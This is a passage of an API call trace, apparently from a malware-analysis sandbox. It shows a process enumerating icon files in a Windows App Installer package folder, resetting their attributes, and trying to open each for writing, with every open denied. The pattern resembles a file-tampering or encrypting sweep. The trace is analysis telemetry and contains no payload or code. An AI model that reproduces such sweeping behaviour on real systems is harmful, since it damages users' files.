	[0090.827] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce9047c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9ceb66d1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9ceb66d1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-36.png", cAlternateFileName="")) returned 1
	[0090.828] wcscmp (_String1="AppPackageAppList.targetsize-36.png", _String2=".") returned 1
	[0090.828] wcscmp (_String1="AppPackageAppList.targetsize-36.png", _String2="..") returned 1
	[0090.828] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d5af20
	[0090.828] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.828] wcscat (in: _Dest=0x2d5af20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.828] wcscat (in: _Dest=0x2d5af20, _Source="AppPackageAppList.targetsize-36.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36.png"
	[0090.828] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-36.png")) returned 0x20
	[0090.829] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36.png", dwFileAttributes=0x20) returned 0
	[0090.829] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-36.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.829] GetLastError () returned 0x5
	[0090.829] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36.png", dwFileAttributes=0x20) returned 0
	[0090.829] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0090.829] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ceb66d1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9ceb66d1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9ceb66d1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-36_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.829] wcscmp (_String1="AppPackageAppList.targetsize-36_altform-unplated.png", _String2=".") returned 1
	[0090.829] wcscmp (_String1="AppPackageAppList.targetsize-36_altform-unplated.png", _String2="..") returned 1
	[0090.829] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc178
	[0090.829] wcscpy (in: _Dest=0x4ebc178, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.829] wcscat (in: _Dest=0x4ebc178, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.829] wcscat (in: _Dest=0x4ebc178, _Source="AppPackageAppList.targetsize-36_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36_altform-unplated.png"
	[0090.829] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-36_altform-unplated.png")) returned 0x20
	[0090.829] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.829] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-36_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.830] GetLastError () returned 0x5
	[0090.830] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-36_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.830] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc178) returned 1
	[0090.830] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cedc933, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9cedc933, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9cedc933, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-40.png", cAlternateFileName="")) returned 1
	[0090.830] wcscmp (_String1="AppPackageAppList.targetsize-40.png", _String2=".") returned 1
	[0090.830] wcscmp (_String1="AppPackageAppList.targetsize-40.png", _String2="..") returned 1
	[0090.830] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d5af20
	[0090.830] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.830] wcscat (in: _Dest=0x2d5af20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.830] wcscat (in: _Dest=0x2d5af20, _Source="AppPackageAppList.targetsize-40.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40.png"
	[0090.830] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-40.png")) returned 0x20
	[0090.834] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40.png", dwFileAttributes=0x20) returned 0
	[0090.834] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-40.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.834] GetLastError () returned 0x5
	[0090.834] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40.png", dwFileAttributes=0x20) returned 0
	[0090.834] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0090.834] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cedc933, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9cedc933, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9cedc933, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-40_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.834] wcscmp (_String1="AppPackageAppList.targetsize-40_altform-unplated.png", _String2=".") returned 1
	[0090.834] wcscmp (_String1="AppPackageAppList.targetsize-40_altform-unplated.png", _String2="..") returned 1
	[0090.834] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc178
	[0090.834] wcscpy (in: _Dest=0x4ebc178, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.834] wcscat (in: _Dest=0x4ebc178, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.834] wcscat (in: _Dest=0x4ebc178, _Source="AppPackageAppList.targetsize-40_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40_altform-unplated.png"
	[0090.835] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-40_altform-unplated.png")) returned 0x20
	[0090.837] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.838] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-40_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.838] GetLastError () returned 0x5
	[0090.838] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-40_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.838] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc178) returned 1
	[0090.838] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cedc933, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9cedc933, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9cedc933, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-48.png", cAlternateFileName="")) returned 1
	[0090.838] wcscmp (_String1="AppPackageAppList.targetsize-48.png", _String2=".") returned 1
	[0090.838] wcscmp (_String1="AppPackageAppList.targetsize-48.png", _String2="..") returned 1
	[0090.838] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d5af20
	[0090.838] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.838] wcscat (in: _Dest=0x2d5af20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.838] wcscat (in: _Dest=0x2d5af20, _Source="AppPackageAppList.targetsize-48.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48.png"
	[0090.838] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-48.png")) returned 0x20
	[0090.850] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48.png", dwFileAttributes=0x20) returned 0
	[0090.850] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-48.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.851] GetLastError () returned 0x5
	[0090.851] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48.png", dwFileAttributes=0x20) returned 0
	[0090.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0090.851] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cedc933, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9cedc933, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9cedc933, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-48_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.851] wcscmp (_String1="AppPackageAppList.targetsize-48_altform-unplated.png", _String2=".") returned 1
	[0090.851] wcscmp (_String1="AppPackageAppList.targetsize-48_altform-unplated.png", _String2="..") returned 1
	[0090.851] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc3e8
	[0090.851] wcscpy (in: _Dest=0x4ebc3e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.851] wcscat (in: _Dest=0x4ebc3e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.851] wcscat (in: _Dest=0x4ebc3e8, _Source="AppPackageAppList.targetsize-48_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48_altform-unplated.png"
	[0090.851] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-48_altform-unplated.png")) returned 0x20
	[0090.852] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.852] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-48_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.853] GetLastError () returned 0x5
	[0090.853] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-48_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.853] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc3e8) returned 1
	[0090.853] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cedc933, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9cedc933, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9cedc933, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-60.png", cAlternateFileName="")) returned 1
	[0090.853] wcscmp (_String1="AppPackageAppList.targetsize-60.png", _String2=".") returned 1
	[0090.853] wcscmp (_String1="AppPackageAppList.targetsize-60.png", _String2="..") returned 1
	[0090.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d5af20
	[0090.853] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.853] wcscat (in: _Dest=0x2d5af20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.853] wcscat (in: _Dest=0x2d5af20, _Source="AppPackageAppList.targetsize-60.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60.png"
	[0090.853] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-60.png")) returned 0x20
	[0090.856] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60.png", dwFileAttributes=0x20) returned 0
	[0090.856] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-60.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.856] GetLastError () returned 0x5
	[0090.856] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60.png", dwFileAttributes=0x20) returned 0
	[0090.856] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0090.856] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cf02b88, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9cf02b88, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9cf02b88, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-60_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.856] wcscmp (_String1="AppPackageAppList.targetsize-60_altform-unplated.png", _String2=".") returned 1
	[0090.856] wcscmp (_String1="AppPackageAppList.targetsize-60_altform-unplated.png", _String2="..") returned 1
	[0090.856] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebcda8
	[0090.856] wcscpy (in: _Dest=0x4ebcda8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.856] wcscat (in: _Dest=0x4ebcda8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.856] wcscat (in: _Dest=0x4ebcda8, _Source="AppPackageAppList.targetsize-60_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-60_altform-unplated.png"
